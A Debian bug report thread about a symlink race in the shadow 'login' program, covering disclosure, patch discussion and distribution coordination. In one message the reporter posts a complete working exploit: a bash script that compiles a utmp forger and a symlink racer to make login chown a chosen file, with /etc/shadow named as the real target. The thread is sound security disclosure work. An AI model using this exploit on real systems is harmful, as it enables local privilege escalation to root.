symlink attack in login leading to arbitrary file ownership

Debian Bug report logs - #505271
symlink attack in login leading to arbitrary file ownership

Toggle useless messages

---

Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

Package: login
Version: 1:4.0.18.1-7
Severity: normal

(I wanted to send this to  332198@bugs.debian.org  but that was not
accepted, surely because that is closed/archived.)

I found in my logs (I think first occurrence of such mis-behaviour):

Nov  8 05:50:09 rome in.telnetd[21060]: connect from psz@bari.maths.usyd.edu.au (129.78.69.145) 
Nov  8 05:50:12 rome login[21062]: (pam_unix) session opened for user root by (uid=0) 
Nov  8 05:50:12 rome login[21062]: can't stat(`/dev/smb/39'): errno 2  
Nov  8 05:50:12 rome login[21062]: unable to determine TTY name, got /dev/smb/39  

Surely that Samba device is wrong for a telnet session...

Hope this helps in tacking down the cause of this bug.

Cheers,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia


-- System Information:
Debian Release: 4.0
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: i386 (i686)
Shell:  /bin/sh linked to /bin/bash
Kernel: Linux 2.6.24-pk03.02-svr
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)

Versions of packages login depends on:
ii  libc6                  2.3.6.ds1-13etch7 GNU C Library: Shared libraries
ii  libpam-modules         0.79-5            Pluggable Authentication Modules f
ii  libpam-runtime         0.79-5            Runtime support for the PAM librar
ii  libpam0g               0.79-5            Pluggable Authentication Modules l

login recommends no packages.

-- no debconf information

---

Message #10 received at 505071@bugs.debian.org (full text, mbox, reply):

Hello,

First of all, this issue was already discussed, and the main problem was
that we were not able to reproduce it.
Are you currently able to reproduce it?

That would help us a lot, since this would allow testing instrumentation
of login to find the root cause.

Would you agree testing some patches?

On Sun, Nov 09, 2008 at 06:26:39PM +1100, psz@maths.usyd.edu.au wrote:
> Package: login
> Version: 1:4.0.18.1-7
> Severity: normal
> 
> (I wanted to send this to  332198@bugs.debian.org  but that was not
> accepted, surely because that is closed/archived.)
> 
> I found in my logs (I think first occurrence of such mis-behaviour):
> 
> Nov  8 05:50:09 rome in.telnetd[21060]: connect from psz@bari.maths.usyd.edu.au (129.78.69.145) 
> Nov  8 05:50:12 rome login[21062]: (pam_unix) session opened for user root by (uid=0) 
> Nov  8 05:50:12 rome login[21062]: can't stat(`/dev/smb/39'): errno 2  
> Nov  8 05:50:12 rome login[21062]: unable to determine TTY name, got /dev/smb/39  
> 
> Surely that Samba device is wrong for a telnet session...

You logged in with telnet, right?

Do you know the version of telnet you are using?
Do you know if telnet creates a utmp entry before calling login?

What might be happening is that telnet do not create a utmp entry, and an
old one from samba is reused (in checkutmp). This should be very rare also
because the bug would occur only if the same pid is reused. 

Best Regards,
-- 
Nekral

---

Message #15 received at 505071@bugs.debian.org (full text, mbox, reply):

Dear Nicolas (Nekral?),

> First of all, this issue was already discussed, and the main problem was
> that we were not able to reproduce it.

Yes, I am aware of bug #332198.

> Are you currently able to reproduce it?

Have not yet attempted to actively reproduce, have observed one
occurrence of "spontaneous" bad behaviour.

> That would help us a lot, since this would allow testing instrumentation
> of login to find the root cause.
> Would you agree testing some patches?

Yes, would be happy to test.

>> I found in my logs (I think first occurrence of such mis-behaviour):
>> 
>> Nov  8 05:50:09 rome in.telnetd[21060]: connect from psz@bari.maths.usyd.edu.au (129.78.69.145) 
>> Nov  8 05:50:12 rome login[21062]: (pam_unix) session opened for user root by (uid=0) 
>> Nov  8 05:50:12 rome login[21062]: can't stat(`/dev/smb/39'): errno 2  
>> Nov  8 05:50:12 rome login[21062]: unable to determine TTY name, got /dev/smb/39  
>> 
>> Surely that Samba device is wrong for a telnet session...
>
> You logged in with telnet, right?
> Do you know the version of telnet you are using?
> Do you know if telnet creates a utmp entry before calling login?

Yes, with telnet; version 0.17-34 (debian etch); surely it cannot
possibly create utmp (telnet runs on bari, telnetd on rome).

> What might be happening is that telnet do not create a utmp entry, and an
> old one from samba is reused (in checkutmp). This should be very rare also
> because the bug would occur only if the same pid is reused. 

Yes, I agree that this is a re-use of an old "unclosed" utmp entry.
(Samba is in the habit of leaving such unclosed entries.) My logs show
(much earlier than the above-quoted lines):

Nov  7 00:52:02 rome samba[21062]: Connect IPC_ for smbguest from p706f (p706f.pc.maths.usyd.edu.au, 129.78.223.215) 

and I did not notice other utmp uses for the same PID in between.

---

Seems to me that the picking of utent in checkutmp by PID (and type?)
only is naive, should pick by line (or id) also, in fact pick by the
is_my_tty checks.

---

File src/login.c has line 87
  extern struct utmp utent;
whereas file libmisc/utmp.c has line 48
  struct utmp utent;
without extern: is that correct?

---

Other comments. Am worried that relying on utmp correctness is a
security risk: conceptually because group utmp would become
root-equivalent, and practically because of shenanigans with utmp
writing e.g. bugs #329156 #330907.

In file libmisc/chowntty.c :
- line 51: should the call
    (stat (tty, &by_name))
  be changed to lstat? Avoid being fooled by symlinks.
- line 66: is the check
    (by_name.st_rdev != by_fd.st_rdev)
  sufficient: can it be fooled with symlinks or hardlinks?
- lines 122,123: should chown(tty,...) and chmod(tty,...) be changed to
  fchown(0,...) and fchmod(0,...)? Avoid being fooled by symlinks and
  races.

Seems to me that as things stand, writing a suitable utmp entry, would
trick login into chowning an arbitrary file. Should I attempt to write
an exploit/demo?

---

Cheers,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #20 received at 505071@bugs.debian.org (full text, mbox, reply):

Hi,

Thanks for your answer.
The culprit is now confirmed.

On Mon, Nov 10, 2008 at 08:51:53AM +1100, psz@maths.usyd.edu.au wrote:
> Dear Nicolas (Nekral?),
> 
> > First of all, this issue was already discussed, and the main problem was
> > that we were not able to reproduce it.
> 
> Yes, I am aware of bug #332198.
> 
> > Are you currently able to reproduce it?
> 
> Have not yet attempted to actively reproduce, have observed one
> occurrence of "spontaneous" bad behaviour.
> 
> > That would help us a lot, since this would allow testing instrumentation
> > of login to find the root cause.
> > Would you agree testing some patches?
> 
> Yes, would be happy to test.
> 
> >> I found in my logs (I think first occurrence of such mis-behaviour):
> >> 
> >> Nov  8 05:50:09 rome in.telnetd[21060]: connect from psz@bari.maths.usyd.edu.au (129.78.69.145) 
> >> Nov  8 05:50:12 rome login[21062]: (pam_unix) session opened for user root by (uid=0) 
> >> Nov  8 05:50:12 rome login[21062]: can't stat(`/dev/smb/39'): errno 2  
> >> Nov  8 05:50:12 rome login[21062]: unable to determine TTY name, got /dev/smb/39  
> >> 
> >> Surely that Samba device is wrong for a telnet session...
> >
> > You logged in with telnet, right?
> > Do you know the version of telnet you are using?
> > Do you know if telnet creates a utmp entry before calling login?
> 
> Yes, with telnet; version 0.17-34 (debian etch); surely it cannot
> possibly create utmp (telnet runs on bari, telnetd on rome).

Well, I meant telnetd should have inserted a utmp entry, on teh server
side.

> > What might be happening is that telnet do not create a utmp entry, and an
> > old one from samba is reused (in checkutmp). This should be very rare also
> > because the bug would occur only if the same pid is reused. 
> 
> Yes, I agree that this is a re-use of an old "unclosed" utmp entry.
> (Samba is in the habit of leaving such unclosed entries.) My logs show
> (much earlier than the above-quoted lines):
> 
> Nov  7 00:52:02 rome samba[21062]: Connect IPC_ for smbguest from p706f (p706f.pc.maths.usyd.edu.au, 129.78.223.215) 
> 
> and I did not notice other utmp uses for the same PID in between.
> 
> ---
> 
> Seems to me that the picking of utent in checkutmp by PID (and type?)
> only is naive, should pick by line (or id) also, in fact pick by the
> is_my_tty checks.

I agree with you that the utmp handling in shadow is not clean, and might
have a security implication.

I fear I won't have time to work on it in the next 2/3 weeks.

I think checking for the line might be good if the line is known, as well
as the user if possible.

> File src/login.c has line 87
>   extern struct utmp utent;
> whereas file libmisc/utmp.c has line 48
>   struct utmp utent;
> without extern: is that correct?

I think that's the expected behavior, however, I would prefer to avoid
such hidden communication between the modules.

> ---
> 
> Other comments. Am worried that relying on utmp correctness is a
> security risk: conceptually because group utmp would become
> root-equivalent, and practically because of shenanigans with utmp
> writing e.g. bugs #329156 #330907.
> 
> In file libmisc/chowntty.c :
> - line 51: should the call
>     (stat (tty, &by_name))
>   be changed to lstat? Avoid being fooled by symlinks.
> - line 66: is the check
>     (by_name.st_rdev != by_fd.st_rdev)
>   sufficient: can it be fooled with symlinks or hardlinks?
> - lines 122,123: should chown(tty,...) and chmod(tty,...) be changed to
>   fchown(0,...) and fchmod(0,...)? Avoid being fooled by symlinks and
>   races.
> 
> Seems to me that as things stand, writing a suitable utmp entry, would
> trick login into chowning an arbitrary file. Should I attempt to write
> an exploit/demo?

That would be nice to check if it would be possible to chown /etc/shadow
by cheating utmp.

A fake demo would be nice.
(by "fake demo", I mean that you do not have to find a way to guess the
PID, but can recompile a new login which use an hardcoded utmp entry in
checkutmp; that would be sufficient since we already know the utmp entry
selection is wrong and can be cheated)

I hope is_my_tty protects it, but I did not checked at all the complete
path.

Cheers,
-- 
Nekral

---

Message #25 received at 505071@bugs.debian.org (full text, mbox, reply):

Dear Nekral,

>> Seems to me that as things stand, writing a suitable utmp entry, would
>> trick login into chowning an arbitrary file. Should I attempt to write
>> an exploit/demo?
>
> That would be nice to check if it would be possible to chown /etc/shadow
> by cheating utmp.
>
> A fake demo would be nice.
> (by "fake demo", I mean that you do not have to find a way to guess the
> PID, but can recompile a new login which use an hardcoded utmp entry in
> checkutmp; that would be sufficient since we already know the utmp entry
> selection is wrong and can be cheated)
>
> I hope is_my_tty protects it, but I did not checked at all the complete
> path.

I expect the following would work:
Predict what PID and tty will be used by login. (This is rather simple:
surely the next available ones, maybe current tty.) For sake of example,
say these are PID=123 and tty=/dev/pts/1.
Pre-create a symlink  /tmp/x -> /dev/pts/1  and write an utmp entry
with PID=123, line=/tmp/x, type=LOGIN_PROCESS.
Run login. While login is running, change /tmp/x to point to /etc/shadow.
We win the race if the change is done after stat(tty,...) within
is_my_tty and before chown(tty,...) in chown_tty.

Hope this is sufficient...

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #30 received at 505071@bugs.debian.org (full text, mbox, reply):

Dear Nekral,

I have not yet written an exploit/PoC/demo, but think it should be
rather easy to do. Looking at the recent DSA-1500 also, I ask you to
change the severity of this bug to "critical - root security hole",
and of course to fix things quickly. (I would change the severity
myself, but I think as a result of bug #299007 am not allowed.)

Thanks, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #35 received at 505071@bugs.debian.org (full text, mbox, reply):

Hello,

I think there are two different bugs:

 * one is that login relies on the utmp entry with the current PID
   In my opinion, this cannot be exploited because is_my_tty will detect
   it.

 * The other one is that between is_my_tty and chown, there is a race
   condition.
   Changing chown (tty, ...) to fchown (0, ...) might work and might be
   sufficient.

The first bug is not critical.

The second one should be fixed for Lenny, but tested first.

Best Regards,
-- 
Nekral

---

Message #40 received at 505071@bugs.debian.org (full text, mbox, reply):

Dear Nekral,

Curious way of counting bugs. What do you mean exploitable: to do what?
(Surely is_my_tty cannot protect, being buggy itself.)

As I see things, the following bugs are present:

- bad selection of utmp entry [often choosing wrong]
- is_my_tty uses stat [should be lstat]
- is_my_tty compares rdev only [should also test dev ino etc]
- maybe is_my_tty should scrutinize path [ensure directory components
  are root-owned and safe]
- race between is_my_tty checks and chown
- chown of unsafe path [should be fchown anyway]

As things are, it is exploitable to elevate privileges from group utmp
to root. It is also buggy, often failing for legitimate use. Fixing all
bugs would be best; fixing some may already render it "safe" against
exploitation, and/or restore functionality.

Please, fix soon. Please change severity.

Cheers,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #45 received at 505071@bugs.debian.org (full text, mbox, reply):

Dear Nekral,

Sorry, I missed your comment:

> ... should be fixed for Lenny ...

No. Should be fixed now, for etch. Needs a DSA.

Cheers,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #50 received at 505071@bugs.debian.org (full text, mbox, reply):

On Tue, Nov 11, 2008 at 07:36:18AM +1100, psz@maths.usyd.edu.au wrote:
> 
> Curious way of counting bugs. What do you mean exploitable: to do what?
> (Surely is_my_tty cannot protect, being buggy itself.)
> 
> As I see things, the following bugs are present:
> 
> - bad selection of utmp entry [often choosing wrong]

Often is arguable.
2 reports in 10 years.

> - is_my_tty uses stat [should be lstat]

I'm not sure lstat is right.
If the caller of login puts the name of a symbolic link for any reason in
utmp, I don't think that should be a failure.

> - is_my_tty compares rdev only [should also test dev ino etc]

I don't think the device or the inode is relevant.
If the major and minor of the device are identical, then they indicate the
same device.

> - maybe is_my_tty should scrutinize path [ensure directory components
>   are root-owned and safe]

Same as lstat, I don't think the paths have to match.

> - race between is_my_tty checks and chown

Yes.

> - chown of unsafe path [should be fchown anyway]

Except for the race, I don't think the path in unsafe.

> As things are, it is exploitable to elevate privileges from group utmp
> to root. It is also buggy, often failing for legitimate use. Fixing all
> bugs would be best; fixing some may already render it "safe" against
> exploitation, and/or restore functionality.

I currently think is_my_tty should be removed. checkutmp should check that
ut_line matches with the current tty, and return a file descriptor

Best Regards,
-- 
Nekral

---

Message #55 received at 505071@bugs.debian.org (full text, mbox, reply):

Dear Nekral,

> Often is arguable.

Are not computers meant to be infallible and perfect?

---

Privileged programs should be strict on what they accept.

Paths are un-safe unless you verify that all directories above are
root-owned and not group or world writeable.

---

How you count bugs, how you fix the issues, is up to you (does not have
to be to my liking). Please fix soon, before someone writes an exploit.

Cheers,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #60 received at 505071@bugs.debian.org (full text, mbox, reply):

clone 505071 -1
retitle -1 symlink attack in login leading to arbitrary file ownership
tags -1 security
severity -1 serious
tags -1 patch
thanks

Somebody with write access to the utmp database can create the conditions
for a symlink attack in login, leading to gaining ownership of an
arbitrary file.

Proposed fix: Changing chown (tty, ...) to fchown (0, ...) in chowntty()

Best Regards,
-- 
Nekral

---

Message #75 received at 505271@bugs.debian.org (full text, mbox, reply):

Dear Nekral,

> Proposed fix: Changing chown (tty, ...) to fchown (0, ...) in chowntty()

Surely you meant to change chmod to fchmod also. (I know this is
nit-picking, but best to be sure...)

Thanks, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #80 received at 505271@bugs.debian.org (full text, mbox, reply):

Dear Nekral,

Long ago you wrote:

>> ... Should I attempt to write an exploit/demo?
> That would be nice to check if it would be possible to chown
> /etc/shadow by cheating utmp.

Done, I now have a working PoC/demo/exploit ... am not yet releasing
it publicly.

Cheers,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #85 received at 505271@bugs.debian.org (full text, mbox, reply):

On Fri, Nov 14, 2008 at 08:33:43PM +1100, Paul Szabo wrote:
> Dear Nekral,
> 
> Long ago you wrote:
> 
> >> ... Should I attempt to write an exploit/demo?
> > That would be nice to check if it would be possible to chown
> > /etc/shadow by cheating utmp.
> 
> Done, I now have a working PoC/demo/exploit ... am not yet releasing
> it publicly.

What's the status? Could you verify that Nicolas' patch fixes the
problem?

Cheers,
        Moritz

---

Message #90 received at 505271@bugs.debian.org (full text, mbox, reply):

Dear Moritz,

Yes, Nicolas's patch does fix the problem. But please note:
(1) It is my patch, not Nicolas's, was first proposed in
    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505071#15
(2) There is no such patch, nobody has made a "diff" file,
    much less a compiled/built package to try.

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #95 received at 505271-close@bugs.debian.org (full text, mbox, reply):

Source: shadow
Source-Version: 1:4.1.1-6

We believe that the bug you reported is fixed in the latest version of
shadow, which is due to be installed in the Debian FTP archive:

login_4.1.1-6_i386.deb
  to pool/main/s/shadow/login_4.1.1-6_i386.deb
passwd_4.1.1-6_i386.deb
  to pool/main/s/shadow/passwd_4.1.1-6_i386.deb
shadow_4.1.1-6.diff.gz
  to pool/main/s/shadow/shadow_4.1.1-6.diff.gz
shadow_4.1.1-6.dsc
  to pool/main/s/shadow/shadow_4.1.1-6.dsc



A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 505271@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Nicolas FRANCOIS (Nekral) <nicolas.francois@centraliens.net> (supplier of updated shadow package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@debian.org)


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Format: 1.8
Date: Fri, 14 Nov 2008 21:52:42 +0100
Source: shadow
Binary: passwd login
Architecture: source i386
Version: 1:4.1.1-6
Distribution: unstable
Urgency: medium
Maintainer: Shadow package maintainers <pkg-shadow-devel@lists.alioth.debian.org>
Changed-By: Nicolas FRANCOIS (Nekral) <nicolas.francois@centraliens.net>
Description: 
 login      - system login tools
 passwd     - change and administer password and group data
Closes: 501353 501830 505271
Changes: 
 shadow (1:4.1.1-6) unstable; urgency=medium
 .
   * The "Rollot" release.
   * debian/patches/303_login_symlink_attack: Fix a race condition that could
     lead to gaining ownership or changing mode of arbitrary files.
     Closes: #505271
   * debian/patches/304_su.1_synopsis: Fix the su synopsis. username is
     referenced in the manpage, not LOGIN. Closes: #501830
   * debian/patches/305_login.1_japanese: Fix the path of the utmp and wtmp
     files. Closes: #501353
Checksums-Sha1: 
 46f1e4d4d5283ddfb51d21295cd6d2bcdca817b8 1542 shadow_4.1.1-6.dsc
 8109d3127e691320ea0aac8d10bb8049e5bc2c26 91634 shadow_4.1.1-6.diff.gz
 890ce81171530f32965468c5f1cbb79caca08bd2 872410 passwd_4.1.1-6_i386.deb
 a2b45f1143f7d633108fe433f619c274cbddc278 854400 login_4.1.1-6_i386.deb
Checksums-Sha256: 
 7d3ad5d9a3e64c02786ec7df4482d7ffea30fa2cb9e19b9440979d2c825018af 1542 shadow_4.1.1-6.dsc
 8a77b2133fc99b1a9abb6a8d9b536dfc2b17755e136e107a52da9d35ddcc1b43 91634 shadow_4.1.1-6.diff.gz
 e8dc15387131c94d34f99ec0a0aaed871a7ef35d297e2606d519d375332d5123 872410 passwd_4.1.1-6_i386.deb
 83d14bd3f071865e69d5a15deef310743fd7d8ae038e504c52833a7226dc7fdb 854400 login_4.1.1-6_i386.deb
Files: 
 86093dda25aa7f6eb4f7bc344d3efd3b 1542 admin required shadow_4.1.1-6.dsc
 c973ab4886b7286556fdb0a482970f3f 91634 admin required shadow_4.1.1-6.diff.gz
 dfefabce28e0634d5cb2f6a9e50f1932 872410 admin required passwd_4.1.1-6_i386.deb
 6485bc7dbdf8bc6b5dbce1c0fcc96c8e 854400 admin required login_4.1.1-6_i386.deb

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkkoROkACgkQWgo5mup89a0lXwCfXfCwKBULRrrXfR6LafqG14Lw
0JcAnidFkWTmd8YgzUbpdXTqinbVDDKu
=t/G0
-----END PGP SIGNATURE-----

---

Message #100 received at 505271@bugs.debian.org (full text, mbox, reply):

Please fix for etch also. Please issue DSA.
Please alert other Linux distros, they are also affected.

Since you claim this issue is fixed, surely (?!) there is no harm
in making the exploit public. Should (may) I do that now?

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #105 received at 505271@bugs.debian.org (full text, mbox, reply):

Random comments about bugs 505071 and 505271.

Group utmp was introduced so terminal emulators could be setgid instead
of needing setuid root, to prevent bugs in them to escalate to root
access. Terminal emulators are generally not written with security in
mind, being the "more features the better" type of programs. This bug
negates the benefit of the group utmp separation. Any data controllable
by group utmp should be treated as insecure or possibly hostile.

Seems that login attempts to pick the "right" line of the utmp file.
Funny idea, seeing how pututline will whack the entry "anywhere"
(depending on ut_id which are rather arbitrary and irrelevant).

If login wanted to sanitize left-over utmp entries, then should set what
ttyname thinks is the correct ut_line (and what it thinks is a sensible
ut_id), not perpetuate "wrong" settings.

Privileged programs should not attempt to clean up utmp, root can do
that at his leisure e.g. with "echo -n '' > /var/run/utmp".

Cheers,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #110 received at 505271@bugs.debian.org (full text, mbox, reply):

On Sat, Nov 22, 2008 at 10:03:39PM +1100, Paul Szabo wrote:
> Dear Moritz,
> 
> Yes, Nicolas's patch does fix the problem. But please note:
> (1) It is my patch, not Nicolas's, was first proposed in
>     http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505071#15
> (2) There is no such patch, nobody has made a "diff" file,
>     much less a compiled/built package to try.

Nicolas, can you prepare an upload for Lenny?

Cheers,
        Moritz

---

Message #115 received at 505271@bugs.debian.org (full text, mbox, reply):

Dear Moritz,

Seems your message relates to "old" things, Nicolas has fixed this for
lenny already.

Please also:
 - fix for etch,
 - alert other Linux distros,
 - issue DSA.

Thanks,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #120 received at 505271@bugs.debian.org (full text, mbox, reply):

[Message part 1 (text/plain, inline)]

Hello,

On Mon, Nov 24, 2008 at 08:01:42AM +1100, psz@maths.usyd.edu.au wrote:
> 
> Seems your message relates to "old" things, Nicolas has fixed this for
> lenny already.

I've made an upload to fix #505271, but not this bug (#505071).
The answer on debian-release was not enough for me to also fix #505071.

> Please also:
>  - fix for etch,

I made an upload for Etch (-7etch4, also to fix #505271)
Moritz, if you can't see it, maybe I did it wrong.

>  - alert other Linux distros,

A new upstream version was released this weekend.

It also contains a fix for this bug (#505071).
I attach this patch in case it is considered OK and needed for Lenny.

>  - issue DSA.

This will be done by the Security Team when the Etch package will be ready
on all archs.

Best Regards,
-- 
Nekral

[shadow_505071.diff (text/x-diff, attachment)]

---

Message #125 received at 505271@bugs.debian.org (full text, mbox, reply):

On Sun, Nov 23, 2008 at 10:24:26PM +0100, Nicolas François wrote:
> Hello,
> 
> On Mon, Nov 24, 2008 at 08:01:42AM +1100, psz@maths.usyd.edu.au wrote:
> > 
> > Seems your message relates to "old" things, Nicolas has fixed this for
> > lenny already.
> 
> I've made an upload to fix #505271, but not this bug (#505071).
> The answer on debian-release was not enough for me to also fix #505071.
> 
> > Please also:
> >  - fix for etch,
> 
> I made an upload for Etch (-7etch4, also to fix #505271)
> Moritz, if you can't see it, maybe I did it wrong.

I don't see any trace of it on klecker? Can you please send the debdiff
to team@security.debian.org?

Cheers,
        Moritz

---

Message #130 received at 505271@bugs.debian.org (full text, mbox, reply):

[Message part 1 (text/plain, inline)]

On Sun, Nov 23, 2008 at 10:29:55PM +0100, jmm@inutil.org wrote:
> On Sun, Nov 23, 2008 at 10:24:26PM +0100, Nicolas François wrote:
> > 
> > I made an upload for Etch (-7etch4, also to fix #505271)
> > Moritz, if you can't see it, maybe I did it wrong.
> 
> I don't see any trace of it on klecker? Can you please send the debdiff
> to team@security.debian.org?

Here it is.

dupload --to anonymous-security shadow_4.0.18.1-7etch4_i386.changes
is still in my history, and I don't think I interrupted it.

I did not prepare anything for oldstable, but the same patch should still
apply if needed.

Best Regards,
-- 
Nekral

[4.0.18.1-7etch4.debdiff (text/plain, attachment)]

---

Message #135 received at 505271@bugs.debian.org (full text, mbox, reply):

Dear Nicolas and Moritz,

How long do you expect it will take to "in fact" fix this bug (which is
closed, pretend-fixed, still set to just "serious" severity)? Would it
cause problems if I posted the exploit on Monday 1 Dec?

Thanks, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #140 received at 505271@bugs.debian.org (full text, mbox, reply):

I asked a few days ago:
> Would it cause problems if I posted the exploit ...?
and did not receive a reply, so I assume it is acceptable
to post a trivial exploit for a "done" bug.

Cheers, Paul

---

#!/bin/bash -

echo '
	#include <string.h>
	#include <stdlib.h>
	#include <unistd.h>
	#include <utmp.h>
	#include <sys/types.h>
	#include <stdio.h>

	int main(int argc, char *argv[])
	{
	  struct utmp entry;
	  int i;

	  entry.ut_type=LOGIN_PROCESS;
	  strcpy(entry.ut_line,"/tmp/x");
	  entry.ut_time=0;
	  strcpy(entry.ut_user,"badguy");
	  strcpy(entry.ut_host,"badhost");
	  entry.ut_addr=0;
	  for(i=1;i<9;i++) {
	    entry.ut_pid=(pid_t)( i + (int)getpid() );
	    sprintf(entry.ut_id,"bad%d",i);
	    pututline(&entry);
	  }
	}
' > /tmp/fillutmp.c

cc -o /tmp/fillutmp /tmp/fillutmp.c

echo 'Ask someone with group utmp privileges to do:'
echo '  chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS

echo '
	#include <unistd.h>

	int main(int argc, char *argv[])
	{
	  while(1)
	  {
	    unlink("/tmp/x");
	    symlink(argv[1],"/tmp/x");
	    unlink("/tmp/x");
	    symlink(argv[2],"/tmp/x");
	  }
	}
' > /tmp/jigglelnk.c

cc -o /tmp/jigglelnk /tmp/jigglelnk.c

HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."

ATK=/etc/debian_version # should be /etc/shadow

echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!

LOOP=0
while :; do
  ((LOOP = $LOOP + 1))
  echo; echo; echo "Try = $LOOP"

  /tmp/fillutmp

  echo "Telnetting... if login succeeds, just exit for next try..."
  /usr/bin/telnet $HOST

  LS=`ls -ld $ATK`
  case "$LS" in
    *root*root* ) ;; # not done yet...
    * )
      echo; echo
      echo "Success after $LOOP tries!"
      echo "$LS"
      echo; echo
      break
    ;;
  esac
done

kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x

# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28  2006 /etc/debian_version

---

Message #145 received at 505271@bugs.debian.org (full text, mbox, reply):

Dear Nicolas,

On 23 Nov you wrote:

>>  - alert other Linux distros,
> A new upstream version was released this weekend.

Have not seen any distros make announcements. What distros use that? 
(Am surprised that even Ubuntu has not updated, though normally they
seem responsive.)

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #150 received at 505271@bugs.debian.org (full text, mbox, reply):

On Mon, Dec 08, 2008 at 08:20:36AM +1100, psz@maths.usyd.edu.au wrote:
> Dear Nicolas,
> 
> On 23 Nov you wrote:
> 
> >>  - alert other Linux distros,
> > A new upstream version was released this weekend.
> 
> Have not seen any distros make announcements. What distros use that? 
> (Am surprised that even Ubuntu has not updated, though normally they
> seem responsive.)

The bug should affect ubuntu and probably gentoo (4.1.2.2 already
packaged). Not RedHat / Mandrake.
I don't know about other distros. I don't know if ubuntu supervises the
bug tagged 'security', and I don't know their milestones.

Best Regards,
-- 
Nekral

---

Message #155 received at 505271@bugs.debian.org (full text, mbox, reply):

> The bug should affect ubuntu and probably gentoo (4.1.2.2 already
> packaged). Not RedHat / Mandrake.

A quick peek into shadow-utils-4.1.2-8.fc10.src.rpm suggests Fedora is
also affected. I do not know about RHEL.

Ubuntu now notified directly:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/306082

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #160 received at 505271@bugs.debian.org (full text, mbox, reply):

I wrote a little while ago:

> A quick peek into shadow-utils-4.1.2-8.fc10.src.rpm suggests Fedora is
> also affected. I do not know about RHEL.

A quick peek into shadow-utils-4.0.17-14.el5.src.rpm suggests RHEL is
just as bad.

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #165 received at 505271@bugs.debian.org (full text, mbox, reply):

On Mon, Dec 08, 2008 at 09:37:42AM +1100, psz@maths.usyd.edu.au wrote:
> > The bug should affect ubuntu and probably gentoo (4.1.2.2 already
> > packaged). Not RedHat / Mandrake.
> 
> A quick peek into shadow-utils-4.1.2-8.fc10.src.rpm suggests Fedora is
> also affected. I do not know about RHEL.

shadow-utils.spec:rm $RPM_BUILD_ROOT/%{_bindir}/login

makes me think Fedora / RHEL should be free of login's bugs.

-- 
Nekral

---

Message #170 received at 505271@bugs.debian.org (full text, mbox, reply):

On Mon, Dec 08, 2008 at 11:22:34AM +0100, Nicolas François wrote:
> On Mon, Dec 08, 2008 at 09:37:42AM +1100, psz@maths.usyd.edu.au wrote:
> > > The bug should affect ubuntu and probably gentoo (4.1.2.2 already
> > > packaged). Not RedHat / Mandrake.
> > 
> > A quick peek into shadow-utils-4.1.2-8.fc10.src.rpm suggests Fedora is
> > also affected. I do not know about RHEL.
> 
> shadow-utils.spec:rm $RPM_BUILD_ROOT/%{_bindir}/login
> 
> makes me think Fedora / RHEL should be free of login's bugs.

